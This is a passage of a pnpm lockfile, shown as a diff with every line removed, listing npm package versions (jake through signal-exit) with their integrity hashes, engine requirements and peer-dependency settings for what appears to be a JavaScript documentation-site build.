- resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==}
-
- jake@10.9.2:
- resolution: {integrity: sha512-2P4SQ0HrLQ+fw6llpLnOaGAvN2Zu6778SJMrCUwns4fOoG9ayrTiZk3VV8sCPkVZF8ab0zksVpS8FDY5pRCNBA==}
- engines: {node: '>=10'}
- hasBin: true
-
- js-tokens@4.0.0:
- resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==}
-
- js-yaml@3.14.1:
- resolution: {integrity: sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==}
- hasBin: true
-
- js-yaml@4.1.0:
- resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==}
- hasBin: true
-
- jsesc@0.5.0:
- resolution: {integrity: sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==}
- hasBin: true
-
- jsesc@2.5.2:
- resolution: {integrity: sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==}
- engines: {node: '>=4'}
- hasBin: true
-
- json-schema-traverse@1.0.0:
- resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==}
-
- json-schema@0.4.0:
- resolution: {integrity: sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==}
-
- json5@2.2.3:
- resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==}
- engines: {node: '>=6'}
- hasBin: true
-
- jsonfile@6.1.0:
- resolution: {integrity: sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==}
-
- jsonpointer@5.0.1:
- resolution: {integrity: sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==}
- engines: {node: '>=0.10.0'}
-
- kind-of@6.0.3:
- resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==}
- engines: {node: '>=0.10.0'}
-
- leven@3.1.0:
- resolution: {integrity: sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==}
- engines: {node: '>=6'}
-
- lilconfig@3.1.2:
- resolution: {integrity: sha512-eop+wDAvpItUys0FWkHIKeC9ybYrTGbU41U5K7+bttZZeohvnY7M9dZ5kB21GNWiFT2q1OoPTvncPCgSOVO5ow==}
- engines: {node: '>=14'}
-
- linkify-it@5.0.0:
- resolution: {integrity: sha512-5aHCbzQRADcdP+ATqnDuhhJ/MRIqDkZX5pyjFHRRysS8vZ5AbqGEoFIb6pYHPZ+L/OC2Lc+xT8uHVVR5CAK/wQ==}
-
- lit-element@4.0.6:
- resolution: {integrity: sha512-U4sdJ3CSQip7sLGZ/uJskO5hGiqtlpxndsLr6mt3IQIjheg93UKYeGQjWMRql1s/cXNOaRrCzC2FQwjIwSUqkg==}
-
- lit-html@3.1.4:
- resolution: {integrity: sha512-yKKO2uVv7zYFHlWMfZmqc+4hkmSbFp8jgjdZY9vvR9jr4J8fH6FUMXhr+ljfELgmjpvlF7Z1SJ5n5/Jeqtc9YA==}
-
- lit@3.1.4:
- resolution: {integrity: sha512-q6qKnKXHy2g1kjBaNfcoLlgbI3+aSOZ9Q4tiGa9bGYXq5RBXxkVTqTIVmP2VWMp29L4GyvCFm8ZQ2o56eUAMyA==}
-
- locate-path@5.0.0:
- resolution: {integrity: sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==}
- engines: {node: '>=8'}
-
- lodash.debounce@4.0.8:
- resolution: {integrity: sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==}
-
- lodash.sortby@4.7.0:
- resolution: {integrity: sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==}
-
- lodash@4.17.21:
- resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==}
-
- log-symbols@6.0.0:
- resolution: {integrity: sha512-i24m8rpwhmPIS4zscNzK6MSEhk0DUWa/8iYQWxhffV8jkI4Phvs3F+quL5xvS0gdQR0FyTCMMH33Y78dDTzzIw==}
- engines: {node: '>=18'}
-
- lru-cache@5.1.1:
- resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==}
-
- magic-string@0.25.9:
- resolution: {integrity: sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==}
-
- magic-string@0.30.10:
- resolution: {integrity: sha512-iIRwTIf0QKV3UAnYK4PU8uiEc4SRh5jX0mwpIwETPpHdhVM4f53RSwS/vXvN1JhGX+Cs7B8qIq3d6AH49O5fAQ==}
-
- markdown-it-anchor@9.0.1:
- resolution: {integrity: sha512-cBt7aAzmkfX8X7FqAe8EBryiKmToXgMQEEMqkXzWCm0toDtfDYIGboKeTKd8cpNJArJtutrf+977wFJTsvNGmQ==}
- peerDependencies:
- '@types/markdown-it': '*'
- markdown-it: '*'
-
- markdown-it-emoji@3.0.0:
- resolution: {integrity: sha512-+rUD93bXHubA4arpEZO3q80so0qgoFJEKRkRbjKX8RTdca89v2kfyF+xR3i2sQTwql9tpPZPOQN5B+PunspXRg==}
-
- markdown-it@14.1.0:
- resolution: {integrity: sha512-a54IwgWPaeBCAAsv13YgmALOF1elABB08FxO9i+r4VFk5Vl4pKokRPeX8u5TCgSsPi6ec1otfLjdOpVcgbpshg==}
- hasBin: true
-
- mathjax-full@3.2.2:
- resolution: {integrity: sha512-+LfG9Fik+OuI8SLwsiR02IVdjcnRCy5MufYLi0C3TdMT56L/pjB0alMVGgoWJF8pN9Rc7FESycZB9BMNWIid5w==}
-
- mdurl@2.0.0:
- resolution: {integrity: sha512-Lf+9+2r+Tdp5wXDXC4PcIBjTDtq4UKjCPMQhKIuzpJNW0b96kVqSwW0bT7FhRSfmAiFYgP+SCRvdrDozfh0U5w==}
-
- merge2@1.4.1:
- resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==}
- engines: {node: '>= 8'}
-
- mhchemparser@4.2.1:
- resolution: {integrity: sha512-kYmyrCirqJf3zZ9t/0wGgRZ4/ZJw//VwaRVGA75C4nhE60vtnIzhl9J9ndkX/h6hxSN7pjg/cE0VxbnNM+bnDQ==}
-
- micromatch@4.0.7:
- resolution: {integrity: sha512-LPP/3KorzCwBxfeUuZmaR6bG2kdeHSbe0P2tY3FLRU4vYrjYz5hI4QZwV0njUx3jeuKe67YukQ1LSPZBKDqO/Q==}
- engines: {node: '>=8.6'}
-
- mimic-fn@2.1.0:
- resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==}
- engines: {node: '>=6'}
-
- minimatch@3.1.2:
- resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==}
-
- minimatch@5.1.6:
- resolution: {integrity: sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==}
- engines: {node: '>=10'}
-
- mitt@3.0.1:
- resolution: {integrity: sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==}
-
- mj-context-menu@0.6.1:
- resolution: {integrity: sha512-7NO5s6n10TIV96d4g2uDpG7ZDpIhMh0QNfGdJw/W47JswFcosz457wqz/b5sAKvl12sxINGFCn80NZHKwxQEXA==}
-
- ms@2.1.2:
- resolution: {integrity: sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==}
-
- nanoid@3.3.7:
- resolution: {integrity: sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==}
- engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1}
- hasBin: true
-
- nanoid@5.0.7:
- resolution: {integrity: sha512-oLxFY2gd2IqnjcYyOXD8XGCftpGtZP2AbHbOkthDkvRywH5ayNtPVy9YlOPcHckXzbLTCHpkb7FB+yuxKV13pQ==}
- engines: {node: ^18 || >=20}
- hasBin: true
-
- node-releases@2.0.18:
- resolution: {integrity: sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g==}
-
- normalize-path@3.0.0:
- resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==}
- engines: {node: '>=0.10.0'}
-
- normalize-range@0.1.2:
- resolution: {integrity: sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==}
- engines: {node: '>=0.10.0'}
-
- npm-run-path@5.3.0:
- resolution: {integrity: sha512-ppwTtiJZq0O/ai0z7yfudtBpWIoxM8yE6nHi1X47eFR2EWORqfbu6CnPlNsjeN683eT0qG6H/Pyf9fCcvjnnnQ==}
- engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0}
-
- nth-check@2.1.1:
- resolution: {integrity: sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==}
-
- object-inspect@1.13.2:
- resolution: {integrity: sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==}
- engines: {node: '>= 0.4'}
-
- object-keys@1.1.1:
- resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==}
- engines: {node: '>= 0.4'}
-
- object.assign@4.1.5:
- resolution: {integrity: sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==}
- engines: {node: '>= 0.4'}
-
- once@1.4.0:
- resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==}
-
- onetime@5.1.2:
- resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==}
- engines: {node: '>=6'}
-
- ora@8.0.1:
- resolution: {integrity: sha512-ANIvzobt1rls2BDny5fWZ3ZVKyD6nscLvfFRpQgfWsythlcsVUC9kL0zq6j2Z5z9wwp1kd7wpsD/T9qNPVLCaQ==}
- engines: {node: '>=18'}
-
- p-limit@2.3.0:
- resolution: {integrity: sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==}
- engines: {node: '>=6'}
-
- p-locate@4.1.0:
- resolution: {integrity: sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==}
- engines: {node: '>=8'}
-
- p-try@2.2.0:
- resolution: {integrity: sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==}
- engines: {node: '>=6'}
-
- parse-ms@4.0.0:
- resolution: {integrity: sha512-TXfryirbmq34y8QBwgqCVLi+8oA3oWx2eAnSn62ITyEhEYaWRlVZ2DvMM9eZbMs/RfxPu/PK/aBLyGj4IrqMHw==}
- engines: {node: '>=18'}
-
- parse5-htmlparser2-tree-adapter@7.0.0:
- resolution: {integrity: sha512-B77tOZrqqfUfnVcOrUvfdLbz4pu4RopLD/4vmu3HUPswwTA8OH0EMW9BlWR2B0RCoiZRAHEUu7IxeP1Pd1UU+g==}
-
- parse5@7.1.2:
- resolution: {integrity: sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==}
-
- path-exists@4.0.0:
- resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==}
- engines: {node: '>=8'}
-
- path-is-absolute@1.0.1:
- resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==}
- engines: {node: '>=0.10.0'}
-
- path-key@3.1.1:
- resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==}
- engines: {node: '>=8'}
-
- path-key@4.0.0:
- resolution: {integrity: sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==}
- engines: {node: '>=12'}
-
- path-parse@1.0.7:
- resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==}
-
- path-type@5.0.0:
- resolution: {integrity: sha512-5HviZNaZcfqP95rwpv+1HDgUamezbqdSYTyzjTvwtJSnIH+3vnbmWsItli8OFEndS984VT55M3jduxZbX351gg==}
- engines: {node: '>=12'}
-
- photoswipe@5.4.4:
- resolution: {integrity: sha512-WNFHoKrkZNnvFFhbHL93WDkW3ifwVOXSW3w1UuZZelSmgXpIGiZSNlZJq37rR8YejqME2rHs9EhH9ZvlvFH2NA==}
- engines: {node: '>= 0.12.0'}
-
- picocolors@1.0.1:
- resolution: {integrity: sha512-anP1Z8qwhkbmu7MFP5iTt+wQKXgwzf7zTyGlcdzabySa9vd0Xt392U0rVmz9poOaBj0uHJKyyo9/upk0HrEQew==}
-
- picomatch@2.3.1:
- resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==}
- engines: {node: '>=8.6'}
-
- pngjs@5.0.0:
- resolution: {integrity: sha512-40QW5YalBNfQo5yRYmiw7Yz6TKKVr3h6970B2YE+3fQpsWcrbj1PzJgxeJ19DRQjhMbKPIuMY8rFaXc8moolVw==}
- engines: {node: '>=10.13.0'}
-
- possible-typed-array-names@1.0.0:
- resolution: {integrity: sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==}
- engines: {node: '>= 0.4'}
-
- postcss-load-config@6.0.1:
- resolution: {integrity: sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==}
- engines: {node: '>= 18'}
- peerDependencies:
- jiti: '>=1.21.0'
- postcss: '>=8.0.9'
- tsx: ^4.8.1
- yaml: ^2.4.2
- peerDependenciesMeta:
- jiti:
- optional: true
- postcss:
- optional: true
- tsx:
- optional: true
- yaml:
- optional: true
-
- postcss-value-parser@4.2.0:
- resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==}
-
- postcss@8.4.40:
- resolution: {integrity: sha512-YF2kKIUzAofPMpfH6hOi2cGnv/HrUlfucspc7pDyvv7kGdqXrfj8SCl/t8owkEgKEuu8ZcRjSOxFxVLqwChZ2Q==}
- engines: {node: ^10 || ^12 || >=14}
-
- preact@10.23.1:
- resolution: {integrity: sha512-O5UdRsNh4vdZaTieWe3XOgSpdMAmkIYBCT3VhQDlKrzyCm8lUYsk0fmVEvoQQifoOjFRTaHZO69ylrzTW2BH+A==}
-
- pretty-bytes@5.6.0:
- resolution: {integrity: sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==}
- engines: {node: '>=6'}
-
- pretty-ms@9.1.0:
- resolution: {integrity: sha512-o1piW0n3tgKIKCwk2vpM/vOV13zjJzvP37Ioze54YlTHE06m4tjEbzg9WsKkvTuyYln2DHjo5pY4qrZGI0otpw==}
- engines: {node: '>=18'}
-
- punycode.js@2.3.1:
- resolution: {integrity: sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA==}
- engines: {node: '>=6'}
-
- punycode@2.3.1:
- resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==}
- engines: {node: '>=6'}
-
- qrcode@1.5.3:
- resolution: {integrity: sha512-puyri6ApkEHYiVl4CFzo1tDkAZ+ATcnbJrJ6RiBM1Fhctdn/ix9MTE3hRph33omisEbC/2fcfemsseiKgBPKZg==}
- engines: {node: '>=10.13.0'}
- hasBin: true
-
- queue-microtask@1.2.3:
- resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==}
-
- randombytes@2.1.0:
- resolution: {integrity: sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==}
-
- readdirp@3.6.0:
- resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==}
- engines: {node: '>=8.10.0'}
-
- regenerate-unicode-properties@10.1.1:
- resolution: {integrity: sha512-X007RyZLsCJVVrjgEFVpLUTZwyOZk3oiL75ZcuYjlIWd6rNJtOjkBwQc5AsRrpbKVkxN6sklw/k/9m2jJYOf8Q==}
- engines: {node: '>=4'}
-
- regenerate@1.4.2:
- resolution: {integrity: sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==}
-
- regenerator-runtime@0.14.1:
- resolution: {integrity: sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==}
-
- regenerator-transform@0.15.2:
- resolution: {integrity: sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==}
-
- regexp.prototype.flags@1.5.2:
- resolution: {integrity: sha512-NcDiDkTLuPR+++OCKB0nWafEmhg/Da8aUPLPMQbK+bxKKCm1/S5he+AqYa4PlMCVBalb4/yxIRub6qkEx5yJbw==}
- engines: {node: '>= 0.4'}
-
- regexpu-core@5.3.2:
- resolution: {integrity: sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==}
- engines: {node: '>=4'}
-
- register-service-worker@1.7.2:
- resolution: {integrity: sha512-CiD3ZSanZqcMPRhtfct5K9f7i3OLCcBBWsJjLh1gW9RO/nS94sVzY59iS+fgYBOBqaBpf4EzfqUF3j9IG+xo8A==}
-
- regjsparser@0.9.1:
- resolution: {integrity: sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==}
- hasBin: true
-
- require-directory@2.1.1:
- resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==}
- engines: {node: '>=0.10.0'}
-
- require-from-string@2.0.2:
- resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==}
- engines: {node: '>=0.10.0'}
-
- require-main-filename@2.0.0:
- resolution: {integrity: sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==}
-
- resolve@1.22.8:
- resolution: {integrity: sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==}
- hasBin: true
-
- restore-cursor@4.0.0:
- resolution: {integrity: sha512-I9fPXU9geO9bHOt9pHHOhOkYerIMsmVaWB0rA2AI9ERh/+x/i7MV5HKBNrg+ljO5eoPVgCcnFuRjJ9uH6I/3eg==}
- engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0}
-
- reusify@1.0.4:
- resolution: {integrity: sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==}
- engines: {iojs: '>=1.0.0', node: '>=0.10.0'}
-
- rollup@2.79.1:
- resolution: {integrity: sha512-uKxbd0IhMZOhjAiD5oAFp7BqvkA4Dv47qpOCtaNvng4HBwdbWtdOh8f5nZNuk2rp51PMGk3bzfWu5oayNEuYnw==}
- engines: {node: '>=10.0.0'}
- hasBin: true
-
- rollup@4.19.0:
- resolution: {integrity: sha512-5r7EYSQIowHsK4eTZ0Y81qpZuJz+MUuYeqmmYmRMl1nwhdmbiYqt5jwzf6u7wyOzJgYqtCRMtVRKOtHANBz7rA==}
- engines: {node: '>=18.0.0', npm: '>=8.0.0'}
- hasBin: true
-
- run-parallel@1.2.0:
- resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==}
-
- safe-array-concat@1.1.2:
- resolution: {integrity: sha512-vj6RsCsWBCf19jIeHEfkRMw8DPiBb+DMXklQ/1SGDHOMlHdPUkZXFQ2YdplS23zESTijAcurb1aSgJA3AgMu1Q==}
- engines: {node: '>=0.4'}
-
- safe-buffer@5.2.1:
- resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==}
-
- safe-regex-test@1.0.3:
- resolution: {integrity: sha512-CdASjNJPvRa7roO6Ra/gLYBTzYzzPyyBXxIMdGW3USQLyjWEls2RgW5UBTXaQVp+OrpeCK3bLem8smtmheoRuw==}
- engines: {node: '>= 0.4'}
-
- sass@1.77.8:
- resolution: {integrity: sha512-4UHg6prsrycW20fqLGPShtEvo/WyHRVRHwOP4DzkUrObWoWI05QBSfzU71TVB7PFaL104TwNaHpjlWXAZbQiNQ==}
- engines: {node: '>=14.0.0'}
- hasBin: true
-
- sax@1.4.1:
- resolution: {integrity: sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg==}
-
- search-insights@2.15.0:
- resolution: {integrity: sha512-ch2sPCUDD4sbPQdknVl9ALSi9H7VyoeVbsxznYz6QV55jJ8CI3EtwpO1i84keN4+hF5IeHWIeGvc08530JkVXQ==}
-
- section-matter@1.0.0:
- resolution: {integrity: sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==}
- engines: {node: '>=4'}
-
- semver@6.3.1:
- resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==}
- hasBin: true
-
- semver@7.6.3:
- resolution: {integrity: sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==}
- engines: {node: '>=10'}
- hasBin: true
-
- serialize-javascript@6.0.2:
- resolution: {integrity: sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==}
-
- set-blocking@2.0.0:
- resolution: {integrity: sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==}
-
- set-function-length@1.2.2:
- resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==}
- engines: {node: '>= 0.4'}
-
- set-function-name@2.0.2:
- resolution: {integrity: sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==}
- engines: {node: '>= 0.4'}
-
- shebang-command@2.0.0:
- resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==}
- engines: {node: '>=8'}
-
- shebang-regex@3.0.0:
- resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==}
- engines: {node: '>=8'}
-
- shiki@1.11.1:
- resolution: {integrity: sha512-VHD3Q0EBXaaa245jqayBe5zQyMQUdXBFjmGr9MpDaDpAKRMYn7Ff00DM5MLk26UyKjnml3yQ0O2HNX7PtYVNFQ==}
-
- side-channel@1.0.6:
- resolution: {integrity: sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==}
- engines: {node: '>= 0.4'}
-
- signal-exit@3.0.7:
- resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==}
-
- signal-exit@4.1.0:
